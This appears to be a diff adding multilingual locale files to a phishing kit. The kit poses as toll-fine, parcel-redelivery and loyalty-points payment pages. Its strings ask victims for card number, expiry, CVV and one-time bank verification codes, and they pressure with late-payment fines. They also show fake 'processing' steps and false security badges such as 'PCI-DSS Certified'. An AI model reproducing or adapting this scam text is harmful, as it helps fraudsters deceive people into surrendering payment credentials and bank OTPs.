"Establishing secure connection...": "Etablerer sikker forbindelse...",
|
||||
"Verifying card number and issuer...": "Bekræfter kortnummer og udsteder...",
|
||||
"Validating CVV code...": "Validerer CVV-kode...",
|
||||
"Checking fraud risk...": "Tjekker svindelrisiko...",
|
||||
"Sending transaction request...": "Sender transaktionsanmodning...",
|
||||
"Waiting for bank authorization...": "Venter på bankgodkendelse...",
|
||||
"Processing bank response...": "Behandler banksvar...",
|
||||
"Confirming transaction status...": "Bekræfter transaktionsstatus...",
|
||||
"Finalizing transaction...": "Afslutter transaktion...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Globalt Betalingsnetværk",
|
||||
"American Express Dedicated Channel": "American Express Dedikeret Kanal",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} sekunder",
|
||||
"International Payment Network": "Internationalt Betalingsnetværk"
|
||||
}
|
||||
123
a9_usa_Fine_amazon/src/locales/en/index.ts
Normal file
@@ -0,0 +1,123 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "There is an error in this field, please check",
|
||||
"Please enter a valid email address": "Please enter a valid email address",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Dear users, please fill in the form carefully to ensure successful delivery",
|
||||
"Your Name": "Your Name",
|
||||
"Address": "Address",
|
||||
"Detailed Address": "Detailed Address",
|
||||
"(Optional)": "(Optional)",
|
||||
"City": "City",
|
||||
"State": "State",
|
||||
"Province": "Province",
|
||||
"Region": "Region",
|
||||
"Zip Code": "Postal Code",
|
||||
"E-Mail": "Email",
|
||||
"Next": "Next",
|
||||
"Telephone Number": "Phone Number",
|
||||
"Online": "Online",
|
||||
"Payment": "Payment",
|
||||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "For redelivery, a service fee is required. Your package will be dispatched after payment is confirmed.",
|
||||
"lump sum: ": "Total Amount: ",
|
||||
"Cardholder": "Cardholder Name",
|
||||
"Card Number": "Card Number",
|
||||
"Expire Date": "Expiry Date",
|
||||
"Security Code": "Security Code (CVV)",
|
||||
"Submit": "Submit",
|
||||
"Click here to receive another code": "Click here to receive a new code",
|
||||
"Please confirm your identity and a one-time code will be sent": "Please confirm your identity; a one-time PIN (OTP) will be sent to your phone or email. Enter the code here.",
|
||||
"The verification code has been sent to": "The verification code has been sent to",
|
||||
"Please do not click the": "Please do not click 'Refresh' or 'Back' as it may interrupt the transaction.",
|
||||
"Verification code error, please try again": "Verification code error, please try again",
|
||||
"The session is about to expire, please complete the verification now": "The session is about to expire, please complete the verification now",
|
||||
"This card does not support this transaction, please try another card": "This card does not support this transaction, please try another card",
|
||||
"Authorized bank": "Authorized Bank",
|
||||
"Please go to the bank App to confirm the authorization": "Please go to your bank app to confirm the authorization",
|
||||
"Please do not close this page": "Please do not close this page",
|
||||
"Payment Successful": "Payment Successful!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Thank you. Your payment has been processed successfully.",
|
||||
"Mailing address": "Shipping Address",
|
||||
"street address or house number": "Street address or house number",
|
||||
"Apartment number": "Apartment, suite, unit, etc.",
|
||||
"Safe payment": "Secure Payment",
|
||||
"Verification code": "Verification Code",
|
||||
"Welcome": "Welcome",
|
||||
"back": "Back",
|
||||
"We reward you for using point services": "We reward you for using our points services",
|
||||
"Check your points": "Check your points balance",
|
||||
"Phone number": "Phone Number",
|
||||
"Inquire": "Inquire",
|
||||
"Exchange": "Redeem",
|
||||
"Spend points": "Spend Points",
|
||||
"Points Available": "Points Available",
|
||||
"You don't have enough points": "Inadequate points balance",
|
||||
"Please redeem your favorite product": "Please redeem your preferred reward",
|
||||
"Confirm your shipping address": "Confirm delivery address",
|
||||
"Order number": "Order Number: ",
|
||||
"Pay": "Pay",
|
||||
"Pay Message": "Pay {0} to redeem your points for rewards",
|
||||
"Pay electronic tolls online": "Pay electronic tolls online",
|
||||
"your electronic toll payment was unsuccessful": "Your toll payment was unsuccessful.",
|
||||
"Billing Information": "Billing Information",
|
||||
"Description": "Description",
|
||||
"Dear customer": "Dear Customer:",
|
||||
"Electronic Communications Charge Payment Failed": "Electronic Communications payment failed",
|
||||
"Invoice Number": "Notice / Invoice Number",
|
||||
"Amount": "Amount",
|
||||
"Pay Immediately": "Pay Immediately",
|
||||
"Phone Number": "Phone Number",
|
||||
"Electronic communication fee payment failed": "Electronic communication fee payment failed",
|
||||
"Illustrate": "Details",
|
||||
"SSL Encryption": "SSL Encryption",
|
||||
"PCI-DSS Certified": "PCI-DSS Certified",
|
||||
"Transaction Details": "Transaction Details",
|
||||
"Transaction ID:": "Transaction ID:",
|
||||
"Processing Network:": "Processing Network:",
|
||||
"Processing Time:": "Processing Time:",
|
||||
"Security Level:": "Security Level:",
|
||||
"Preparing...": "Preparing...",
|
||||
"High": "High",
|
||||
"Initializing payment environment...": "Initializing secure payment environment...",
|
||||
"Encrypting card information...": "Encrypting card information...",
|
||||
"Establishing secure connection...": "Establishing secure connection...",
|
||||
"Verifying card number and issuer...": "Verifying card number and issuer...",
|
||||
"Validating CVV code...": "Validating CVV code...",
|
||||
"Checking fraud risk...": "Checking fraud risk...",
|
||||
"Sending transaction request...": "Sending transaction request...",
|
||||
"Waiting for bank authorization...": "Waiting for bank authorization...",
|
||||
"Processing bank response...": "Processing bank response...",
|
||||
"Confirming transaction status...": "Confirming transaction status...",
|
||||
"Finalizing transaction...": "Finalizing transaction...",
|
||||
"Visa Secure Network": "Visa Secure Network",
|
||||
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
|
||||
"American Express Dedicated Channel": "American Express Dedicated Channel",
|
||||
"UnionPay Gateway": "UnionPay Gateway",
|
||||
"{time} seconds": "{time} seconds",
|
||||
"International Payment Network": "International Payment Network",
|
||||
"Homepage License Plate": "Vehicle Registration",
|
||||
"JCC Smart Cyprus Image": "Security Image",
|
||||
"Check Your Payment Details": "Check Your Payment Details",
|
||||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Enter your vehicle's license plate number to verify your account and ensure timely payment to avoid penalties.",
|
||||
"Enter license plate number (e.g. XYZ1234)": "Enter license plate number (e.g. ABC 123 GP)",
|
||||
"Verify Payment Details": "Verify Payment Details",
|
||||
"Toll Payment": "Toll / Fine Payment",
|
||||
"License Plate Number": "License Plate Number",
|
||||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Traffic violation info (e.g., speeding). First violation <strong>R400</strong>, second violation <strong>R600</strong>, etc.",
|
||||
"Tolls": "Fines / Tolls",
|
||||
"Due Date": "Due Date",
|
||||
"Fine Amount": "Fine Amount",
|
||||
"Pay Now": "Pay Now",
|
||||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Please note: due to late payment, this transaction only accepts credit card payments.",
|
||||
"Cardholder Name": "Cardholder Name",
|
||||
"First and Last Name": "First and Last Name",
|
||||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||
"Expiration Date": "Expiration Date",
|
||||
"MM/YY": "MM/YY",
|
||||
"123(CVV)": "123 (CVV)",
|
||||
"Card Icon": "Card Icon",
|
||||
"CVV": "CVV",
|
||||
"Successful Toll Payment": "Payment Successful",
|
||||
"Thank you for your payment. The tolls have been processed successfully.": "Thank you. Your infringement / toll payment has been processed successfully.",
|
||||
"Phone": "Phone",
|
||||
"Toll Amount": "Total Amount",
|
||||
payment_loading: { modal_title: "Processing Payment", modal_subtitle: "Please do not close this page", transaction_details: "Transaction Details", transaction_id: "Transaction ID:", processing_network: "Processing Network:", processing_time: "Processing Time:", security_level: "Security Level:", preparing: "Preparing...", high: "High", step_init: "Initializing payment environment...", step_encrypt: "Encrypting card information...", step_connect: "Establishing secure connection...", step_verify_card: "Verifying card number and issuer...", step_validate_cvv: "Validating CVV code...", step_fraud: "Checking fraud risk...", step_send: "Sending transaction request...", step_wait_auth: "Waiting for bank authorization...", step_process_resp: "Processing bank response...", step_confirm: "Confirming transaction status...", step_finalize: "Finalizing transaction...", network_visa: "Visa Secure Network", network_mastercard: "Mastercard Global Payment Network", network_amex: "American Express Dedicated Channel", network_unionpay: "UnionPay Payment Channel", network_intl: "International Payment Network", time_seconds: "{time} seconds", },
|
||||
};
|
||||
122
a9_usa_Fine_amazon/src/locales/es/index.ts
Normal file
@@ -0,0 +1,122 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Hay un error en este campo, por favor verifique",
|
||||
"Please enter a valid email address": "Por favor, introduzca una dirección de correo electrónico válida",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Estimados usuarios, por favor completen el formulario cuidadosamente para garantizar la entrega exitosa",
|
||||
"Your Name": "Su nombre",
|
||||
"Address": "Dirección",
|
||||
"Detailed Address": "Dirección detallada",
|
||||
"(Optional)": "(Opcional)",
|
||||
"City": "Ciudad",
|
||||
"State": "Estado",
|
||||
"Province": "Provincia",
|
||||
"Region": "Región",
|
||||
"Zip Code": "Código postal",
|
||||
"E-Mail": "Correo electrónico",
|
||||
"Next": "Siguiente",
|
||||
"Telephone Number": "Número de teléfono",
|
||||
"Online": "En línea",
|
||||
"Payment": "Pago",
|
||||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Para la reentrega, necesitamos cobrar algunas tarifas de servicio. Su paquete será reenviado después del pago",
|
||||
"lump sum: ": "Suma total: ",
|
||||
"Cardholder": "Titular de la tarjeta",
|
||||
"Card Number": "Número de tarjeta",
|
||||
"Expire Date": "Fecha de expiración",
|
||||
"Security Code": "Código de seguridad",
|
||||
"Submit": "Enviar",
|
||||
"Click here to receive another code": "Haga clic aquí para recibir otro código",
|
||||
"Please confirm your identity and a one-time code will be sent": "Por favor confirme su identidad y se enviará un código de un solo uso a su teléfono o correo electrónico. Ingrese el código de verificación aquí",
|
||||
"The verification code has been sent to": "El código de verificación ha sido enviado a",
|
||||
"Please do not click the": "Por favor no haga clic en los botones 'Actualizar' o 'Atrás' ya que esto podría terminar su transacción",
|
||||
"Verification code error, please try again": "Error en el código de verificación, por favor intente nuevamente",
|
||||
"The session is about to expire, please complete the verification now": "La sesión está a punto de expirar, por favor complete la verificación ahora",
|
||||
"This card does not support this transaction, please try another card": "Esta tarjeta no admite esta transacción, por favor intente con otra tarjeta",
|
||||
"Authorized bank": "Banco autorizado",
|
||||
"Please go to the bank App to confirm the authorization": "Por favor ingrese a la aplicación bancaria para confirmar la autorización",
|
||||
"Please do not close this page": "Por favor no cierre esta página",
|
||||
"Payment Successful": "¡Pago exitoso!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Gracias por su compra. Su pago se ha procesado con éxito",
|
||||
"Mailing address": "Dirección postal",
|
||||
"street address or house number": "Calle o número de casa",
|
||||
"Apartment number": "Número de apartamento, habitación, etc.",
|
||||
"Safe payment": "Pago seguro",
|
||||
"Verification code": "Código de verificación",
|
||||
"Welcome": "Bienvenido",
|
||||
"back": "¡Atrás!",
|
||||
"We reward you for using point services": "Le recompensamos por utilizar servicios de puntos",
|
||||
"Check your points": "Consultar sus puntos",
|
||||
"Phone number": "Número de teléfono",
|
||||
"Inquire": "Consultar",
|
||||
"Exchange": "Intercambiar",
|
||||
"Spend points": "Gastar puntos",
|
||||
"Points Available": "Puntos disponibles",
|
||||
"You don't have enough points": "No tiene suficientes puntos",
|
||||
"Please redeem your favorite product": "Por favor canjee su producto favorito",
|
||||
"Confirm your shipping address": "Confirme su dirección de envío",
|
||||
"Order number": "Número de pedido: ",
|
||||
"Pay": "Pagar",
|
||||
"Pay Message": "Pague {0} para canjear productos con puntos",
|
||||
"Pay electronic tolls online": "Pagar peajes electrónicos en línea",
|
||||
"your electronic toll payment was unsuccessful": "Su pago de peaje electrónico no fue exitoso.",
|
||||
"Billing Information": "Información de facturación",
|
||||
"Description": "Descripción",
|
||||
"Dear customer": "Estimado cliente:",
|
||||
"Electronic Communications Charge Payment Failed": "Error en el pago del cargo por comunicaciones electrónicas",
|
||||
"Invoice Number": "Número de factura",
|
||||
"Amount": "Monto",
|
||||
"Pay Immediately": "Pagar ahora",
|
||||
"Phone Number": "Número de teléfono",
|
||||
"Electronic communication fee payment failed": "El pago de la tarifa de comunicación electrónica falló",
|
||||
"Illustrate": "Ilustrar",
|
||||
"SSL Encryption": "Cifrado SSL",
|
||||
"PCI-DSS Certified": "Certificado PCI-DSS",
|
||||
"Transaction Details": "Detalles de la transacción",
|
||||
"Transaction ID:": "ID de transacción:",
|
||||
"Processing Network:": "Red de procesamiento:",
|
||||
"Processing Time:": "Tiempo de procesamiento:",
|
||||
"Security Level:": "Nivel de seguridad:",
|
||||
"Preparing...": "Preparando...",
|
||||
"High": "Alta",
|
||||
"Initializing payment environment...": "Inicializando entorno de pago...",
|
||||
"Encrypting card information...": "Encriptando información de la tarjeta...",
|
||||
"Establishing secure connection...": "Estableciendo conexión segura...",
|
||||
"Verifying card number and issuer...": "Verificando número de tarjeta y emisor...",
|
||||
"Validating CVV code...": "Validando código CVV...",
|
||||
"Checking fraud risk...": "Comprobando riesgo de fraude...",
|
||||
"Sending transaction request...": "Enviando solicitud de transacción...",
|
||||
"Waiting for bank authorization...": "Esperando autorización del banco...",
|
||||
"Processing bank response...": "Procesando respuesta del banco...",
|
||||
"Confirming transaction status...": "Confirmando estado de la transacción...",
|
||||
"Finalizing transaction...": "Finalizando transacción...",
|
||||
"Visa Secure Network": "Red segura de Visa",
|
||||
"Mastercard Global Payment Network": "Red global de pagos Mastercard",
|
||||
"American Express Dedicated Channel": "Canal dedicado American Express",
|
||||
"UnionPay Gateway": "Pasarela UnionPay",
|
||||
"{time} seconds": "{time} segundos",
|
||||
"International Payment Network": "Red de pagos internacional",
|
||||
"Homepage License Plate": "Placa en la página de inicio",
|
||||
"JCC Smart Cyprus Image": "Imagen JCC Smart Chipre",
|
||||
"Check Your Payment Details": "Verifique los detalles de su pago",
|
||||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ingrese la placa de su vehículo para verificar su cuenta y asegurar el pago oportuno del peaje para evitar multas.",
|
||||
"Enter license plate number (e.g. XYZ1234)": "Ingrese número de placa (ej. XYZ1234)",
|
||||
"Verify Payment Details": "Verificar detalles de pago",
|
||||
"Toll Payment": "Pago de peaje",
|
||||
"License Plate Number": "Número de placa",
|
||||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Información sobre infracciones de tráfico (por ejemplo, uso del teléfono móvil al conducir). Primera infracción <strong>50€</strong>, segunda <strong>150€</strong>, y así sucesivamente.",
|
||||
"Tolls": "Peajes",
|
||||
"Due Date": "Fecha de vencimiento",
|
||||
"Fine Amount": "Monto de la multa",
|
||||
"Pay Now": "Pagar ahora",
|
||||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Tenga en cuenta que, debido al pago tardío, esta transacción solo es válida para pagos con tarjeta de crédito.",
|
||||
"Cardholder Name": "Nombre del titular",
|
||||
"First and Last Name": "Nombre y apellido",
|
||||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||
"Expiration Date": "Fecha de expiración",
|
||||
"MM/YY": "MM/AA",
|
||||
"123(CVV)": "123(CVV)",
|
||||
"Card Icon": "Ícono de tarjeta",
|
||||
"CVV": "CVV",
|
||||
"Successful Toll Payment": "Pago de peaje exitoso",
|
||||
"Thank you for your payment. The tolls have been processed successfully.": "Gracias por su pago. Los peajes han sido procesados con éxito.",
|
||||
"Phone": "Teléfono",
|
||||
"Toll Amount": "Monto del peaje",
|
||||
};
|
||||
81
a9_usa_Fine_amazon/src/locales/hu/index.ts
Normal file
@@ -0,0 +1,81 @@
|
||||
export default {
|
||||
"There is an error in this field, please check":
|
||||
"Hiba történt ebben a mezőben, kérjük, ellenőrizze",
|
||||
"Please enter a valid email address": "Kérjük, adjon meg egy érvényes e-mail címet",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery":
|
||||
"Kedves felhasználók, kérjük, gondosan töltse ki az űrlapot a sikeres kézbesítés érdekében",
|
||||
"Your Name": "Az Ön neve",
|
||||
"Address": "Cím",
|
||||
"Detailed Address": "Részletes cím",
|
||||
"(Optional)": "(Opcionális)",
|
||||
"City": "Város",
|
||||
"State": "Állam",
|
||||
"Province": "Megye",
|
||||
"Region": "Régió",
|
||||
"Zip Code": "Irányítószám",
|
||||
"E-Mail": "E-mail",
|
||||
"Next": "Tovább",
|
||||
"Telephone Number": "Telefonszám",
|
||||
"Online": "Online",
|
||||
"Payment": "Fizetés",
|
||||
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
|
||||
"A visszaszállításhoz bizonyos szolgáltatási díjakat kell felszámítanunk. A csomagot a fizetés után kézbesítjük újra",
|
||||
"lump sum: ": "átalányösszeg: ",
|
||||
"Cardholder": "Kártyatulajdonos",
|
||||
"Card Number": "Kártyaszám",
|
||||
"Expire Date": "Lejárati dátum",
|
||||
"Security Code": "Biztonsági kód",
|
||||
"Submit": "Küldés",
|
||||
"Click here to receive another code": "Kattintson ide egy másik kód fogadásához",
|
||||
"Please confirm your identity and a one-time code will be sent":
|
||||
"Kérjük, erősítse meg személyazonosságát, és egy egyszeri kódot küldünk a mobiltelefonszámára vagy e-mail címére. Kérjük, itt adja meg az ellenőrző kódot",
|
||||
"The verification code has been sent to":
|
||||
"Az ellenőrző kódot elküldtük a következő címre:",
|
||||
"Please do not click the":
|
||||
"Kérjük, ne kattintson a 'Frissítés' vagy a 'Vissza' gombokra, mert ez megszakíthatja a tranzakciót",
|
||||
"Verification code error, please try again":
|
||||
"Ellenőrző kód hiba, kérjük, próbálja újra",
|
||||
"The session is about to expire, please complete the verification now":
|
||||
"A munkamenet hamarosan lejár, kérjük, fejezze be az ellenőrzést most",
|
||||
"This card does not support this transaction, please try another card":
|
||||
"Ez a kártya nem támogatja ezt a tranzakciót, kérjük, próbáljon meg egy másik kártyát",
|
||||
"Authorized bank": "Engedélyezett bank",
|
||||
"Please go to the bank App to confirm the authorization":
|
||||
"Kérjük, menjen a banki alkalmazásba az engedélyezés megerősítéséhez",
|
||||
"Please do not close this page": "Kérjük, ne zárja be ezt az oldalt",
|
||||
"Payment Successful": "Sikeres fizetés!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully":
|
||||
"Köszönjük a vásárlást. A fizetése sikeresen feldolgozva",
|
||||
"Mailing address": "Levelezési cím",
|
||||
"street address or house number": "utca vagy házszám",
|
||||
"Apartment number": "Lakásszám, szobaszám stb.",
|
||||
"Safe payment": "Biztonságos fizetés",
|
||||
"Verification code": "Ellenőrző kód",
|
||||
"Welcome": "Üdvözöljük",
|
||||
"back":"vissza!",
|
||||
"We reward you for using point services": "Megjutalmazzuk a pontszolgáltatások használatáért",
|
||||
"Check your points": "Ellenőrizze a pontjait",
|
||||
"Phone number": "Telefonszám",
|
||||
"Inquire": "Érdeklődés",
|
||||
"Exchange": "Csere",
|
||||
"Spend points": "Pontok felhasználása",
|
||||
"Points Available": "Elérhető pontok",
|
||||
"You don't have enough points": "Nincs elég pontja",
|
||||
"Please redeem your favorite product": "Kérjük, váltsa be kedvenc termékét",
|
||||
"Confirm your shipping address": "Erősítse meg szállítási címét",
|
||||
"Order number": "Rendelésszám: ",
|
||||
"Pay": "Fizetés",
|
||||
"Pay Message": "Fizessen {0}-t a pontok áruértékre váltásához",
|
||||
"Pay electronic tolls online": "Fizessen elektronikus útdíjat online",
|
||||
"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
|
||||
"Billing Information": "Számlázási adatok",
|
||||
"Description": "Leírás",
|
||||
"Dear customer": "Kedves vásárlónk:",
|
||||
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Invoice Number": "Számlaszám",
|
||||
"Amount": "Összeg",
|
||||
"Pay Immediately": "Fizessen azonnal",
|
||||
"Phone Number": "Telefonszám",
|
||||
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
|
||||
"Illustrate":"Szemléltet"
|
||||
};
|
||||
123
a9_usa_Fine_amazon/src/locales/lv/index.ts
Normal file
@@ -0,0 +1,123 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Šajā laukā ir kļūda, lūdzu pārbaudiet",
|
||||
"Please enter a valid email address": "Lūdzu, ievadiet derīgu e-pasta adresi",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Cienījamie lietotāji, lūdzu, rūpīgi aizpildiet veidlapu, lai nodrošinātu veiksmīgu piegādi",
|
||||
"Your Name": "Jūsu vārds",
|
||||
"Address": "Adrese",
|
||||
"Detailed Address": "Precīza adrese",
|
||||
"(Optional)": "(Neobligāti)",
|
||||
"City": "Pilsēta",
|
||||
"State": "Valsts / Šķēršlis",
|
||||
"Province": "Province",
|
||||
"Region": "Reģions",
|
||||
"Zip Code": "Pasta indekss",
|
||||
"E-Mail": "E-pasts",
|
||||
"Next": "Nākamais",
|
||||
"Telephone Number": "Tālruņa numurs",
|
||||
"Online": "Tiešsaistē",
|
||||
"Payment": "Maksājums",
|
||||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "Par atkārtotu piegādi mums jāiekasē pakalpojuma maksa. Jūsu sūtījums tiks atkārtoti piegādāts pēc maksājuma",
|
||||
"lump sum: ": "Vienreizējs maksājums: ",
|
||||
"Cardholder": "Kartes īpašnieks",
|
||||
"Card Number": "Kartes numurs",
|
||||
"Expire Date": "Derīguma termiņš",
|
||||
"Security Code": "Drošības kods",
|
||||
"Submit": "Iesniegt",
|
||||
"Click here to receive another code": "Noklikšķiniet šeit, lai saņemtu citu kodu",
|
||||
"Please confirm your identity and a one-time code will be sent": "Lūdzu, apstipriniet savu identitāti, un uz jūsu tālruni vai e-pastu tiks nosūtīts vienreizējs kods. Ievadiet verifikācijas kodu šeit",
|
||||
"The verification code has been sent to": "Verifikācijas kods ir nosūtīts uz",
|
||||
"Please do not click the": "Lūdzu, neklikšķiniet uz pogām",
|
||||
"Verification code error, please try again": "Verifikācijas koda kļūda, lūdzu, mēģiniet vēlreiz",
|
||||
"The session is about to expire, please complete the verification now": "Sesija drīz beigsies, lūdzu, pabeidziet verifikāciju tūlīt",
|
||||
"This card does not support this transaction, please try another card": "Šī karte neatbalsta šo darījumu, lūdzu, izmēģiniet citu karti",
|
||||
"Authorized bank": "Autorizēta banka",
|
||||
"Please go to the bank App to confirm the authorization": "Lūdzu, dodieties uz bankas lietotni, lai apstiprinātu autorizāciju",
|
||||
"Please do not close this page": "Lūdzu, neaizveriet šo lapu",
|
||||
"Payment Successful": "Maksājums veiksmīgs!",
|
||||
"Thank you for your purchase. Your payment has been processed successfully": "Paldies par pirkumu. Jūsu maksājums ir veiksmīgi apstrādāts",
|
||||
"Mailing address": "Pasta adrese",
|
||||
"street address or house number": "Ielas adrese vai mājas numurs",
|
||||
"Apartment number": "Dzīvokļa numurs, istabas numurs utt.",
|
||||
"Safe payment": "Drošs maksājums",
|
||||
"Verification code": "Verifikācijas kods",
|
||||
"Welcome": "Laipni lūdzam",
|
||||
"back": "atpakaļ!",
|
||||
"We reward you for using point services": "Mēs jūs apbalvojam par punktu pakalpojumu izmantošanu",
|
||||
"Check your points": "Pārbaudiet savus punktus",
|
||||
"Phone number": "Tālruņa numurs",
|
||||
"Inquire": "Uzzināt",
|
||||
"Exchange": "Apmainīt",
|
||||
"Spend points": "Tērēt punktus",
|
||||
"Points Available": "Pieejamie punkti",
|
||||
"You don't have enough points": "Jums nav pietiekami daudz punktu",
|
||||
"Please redeem your favorite product": "Lūdzu, izmantojiet savu iecienītāko produktu",
|
||||
"Confirm your shipping address": "Apstipriniet savu piegādes adresi",
|
||||
"Order number": "Pasūtījuma numurs: ",
|
||||
"Pay": "Maksāt",
|
||||
"Pay Message": "Maksāt {0}, lai izmantotu punktus par produktiem",
|
||||
"Pay electronic tolls online": "Maksājiet elektroniskās nodevas tiešsaistē",
|
||||
"your electronic toll payment was unsuccessful": "Jūsu elektroniskā nodevas apmaksa bija neveiksmīga.",
|
||||
"Billing Information": "Norēķinu informācija",
|
||||
"Description": "Apraksts",
|
||||
"Dear customer": "Cienījamais klient!",
|
||||
"Electronic Communications Charge Payment Failed": "Elektronisko sakaru maksas apmaksa neizdevās",
|
||||
"Invoice Number": "Rēķina numurs",
|
||||
"Amount": "Summa",
|
||||
"Pay Immediately": "Maksāt nekavējoties",
|
||||
"Phone Number": "Tālruņa numurs",
|
||||
"Electronic communication fee payment failed": "Elektroniskās komunikācijas maksas apmaksa neizdevās",
|
||||
"Illustrate": "Ilustrēt",
|
||||
"SSL Encryption": "SSL šifrēšana",
|
||||
"PCI-DSS Certified": "PCI-DSS sertificēts",
|
||||
"Transaction Details": "Darījuma detaļas",
|
||||
"Transaction ID:": "Darījuma ID:",
|
||||
"Processing Network:": "Apstrādes tīkls:",
|
||||
"Processing Time:": "Apstrādes laiks:",
|
||||
"Security Level:": "Drošības līmenis:",
|
||||
"Preparing...": "Gatavo...",
|
||||
"High": "Augsts",
|
||||
"Initializing payment environment...": "Inicializē maksājumu vidi...",
|
||||
"Encrypting card information...": "Šifrē kartes informāciju...",
|
||||
"Establishing secure connection...": "Veido drošu savienojumu...",
|
||||
"Verifying card number and issuer...": "Pārbauda kartes numuru un izdevēju...",
|
||||
"Validating CVV code...": "Validē CVV kodu...",
|
||||
"Checking fraud risk...": "Pārbauda krāpšanas risku...",
|
||||
"Sending transaction request...": "Sūta darījuma pieprasījumu...",
|
||||
"Waiting for bank authorization...": "Gaida bankas autorizāciju...",
|
||||
"Processing bank response...": "Apstrādā bankas atbildi...",
|
||||
"Confirming transaction status...": "Apstiprina darījuma statusu...",
|
||||
"Finalizing transaction...": "Pabeidz darījumu...",
|
||||
"Visa Secure Network": "Visa drošais tīkls",
|
||||
"Mastercard Global Payment Network": "Mastercard globālais maksājumu tīkls",
|
||||
"American Express Dedicated Channel": "American Express veltītais kanāls",
|
||||
"UnionPay Gateway": "UnionPay vārteja",
|
||||
"{time} seconds": "{time} sekundes",
|
||||
"International Payment Network": "Starptautiskais maksājumu tīkls",
|
||||
"Homepage License Plate": "Mājaslapas numura zīme",
|
||||
"JCC Smart Cyprus Image": "JCC Smart Kipras attēls",
|
||||
"Check Your Payment Details": "Pārbaudiet savus maksājuma datus",
|
||||
"Enter your vehicle's license plate number to verify your account and ensure timely toll payment to avoid fines.": "Ievadiet sava transportlīdzekļa numura zīmes numuru, lai verificētu savu kontu un nodrošinātu savlaicīgu nodevas apmaksu, lai izvairītos no sodiem.",
|
||||
"Enter license plate number (e.g. XYZ1234)": "Ievadiet numura zīmes numuru (piemēram, XYZ1234)",
|
||||
"Verify Payment Details": "Pārbaudīt maksājuma datus",
|
||||
"Toll Payment": "Nodevas apmaksa",
|
||||
"License Plate Number": "Numura zīmes numurs",
|
||||
"Traffic violation information (e.g. mobile phone use while driving). First violation <strong>50€</strong>, second violation <strong>150€</strong>, and so on.": "Informācija par ceļu satiksmes noteikumu pārkāpumiem (piemēram, mobilā tālruņa lietošana braukšanas laikā). Pirmais pārkāpums <strong>50€</strong>, otrais pārkāpums <strong>150€</strong> utt.",
|
||||
"Tolls": "Nodevas",
|
||||
"Due Date": "Maksājuma termiņš",
|
||||
"Fine Amount": "Sods",
|
||||
"Pay Now": "Maksāt tagad",
|
||||
"Note that, due to late payment, this transaction is valid only for credit card payments.": "Ņemiet vērā, ka sakarā ar novēlotu maksājumu šis darījums ir derīgs tikai kredītkaršu maksājumiem.",
|
||||
"Cardholder Name": "Kartes īpašnieka vārds",
|
||||
"First and Last Name": "Vārds un uzvārds",
|
||||
"XXXX XXXX XXXX XXXX": "XXXX XXXX XXXX XXXX",
|
||||
"Expiration Date": "Derīguma termiņš",
|
||||
"MM/YY": "MM/GG",
|
||||
"123(CVV)": "123(CVV)",
|
||||
"Card Icon": "Kartes ikona",
|
||||
"CVV": "CVV",
|
||||
"Successful Toll Payment": "Veiksmīga nodevas apmaksa",
|
||||
"Thank you for your payment. The tolls have been processed successfully.": "Paldies par maksājumu. Nodevas ir veiksmīgi apstrādātas.",
|
||||
"Phone": "Tālrunis",
|
||||
"Toll Amount": "Nodevas summa",
|
||||
"50.00 EUR": "50.00 EUR"
|
||||
}
|
||||
122
a9_usa_Fine_amazon/src/locales/rs/index.ts
Normal file
@@ -0,0 +1,122 @@
|
||||
export default {
|
||||
"There is an error in this field, please check": "Постоји грешка у овом пољу, молимо проверите",
|
||||
"Please enter a valid email address": "Унесите важећу адресу е-поште",
|
||||
"Dear users, please fill in the form carefully to ensure the successful delivery": "Поштовани корисници, молимо пажљиво попуните формулар како бисте осигурали успешну испоруку",
|
||||
"Your Name": "Ваше име",
|
||||
"Address": "Адреса",
|
||||
"Detailed Address": "Детаљна адреса",
|
||||
"(Optional)": "(Опционално)",
|
||||
"City": "Град",
|
||||
"State": "Савезна држава",
|
||||
"Province": "Покрајина",
|
||||
"Region": "Регија",
|
||||
"Zip Code": "Поштански број",
|
||||
"E-Mail": "Е-пошта",
|
||||
"Next": "Следеће",
|
||||
"Telephone Number": "Број телефона",
|
||||
"Online": "На мрежи",
|
||||
"Payment": "Плаћање",
|
||||
"For redelivery, we need to charge some service fees. Your package will be re-delivered after payment": "За поновну испоруку потребно је платити одређене услуге. Ваш пакет ће бити поново испоручен након уплате",
|
||||
"lump sum: ": "укупно: ",
|
||||
"Cardholder": "Име носиоца картице",
|
||||
"Card Number": "Број картице",
|
||||
"Expire Date": "Датум истека",
|
||||
"Security Code": "Сигурносни код",
|
||||
"Submit": "Пошаљи",
|
||||
"Click here to receive another code": "Кликните овде да добијете нови код",
|
||||
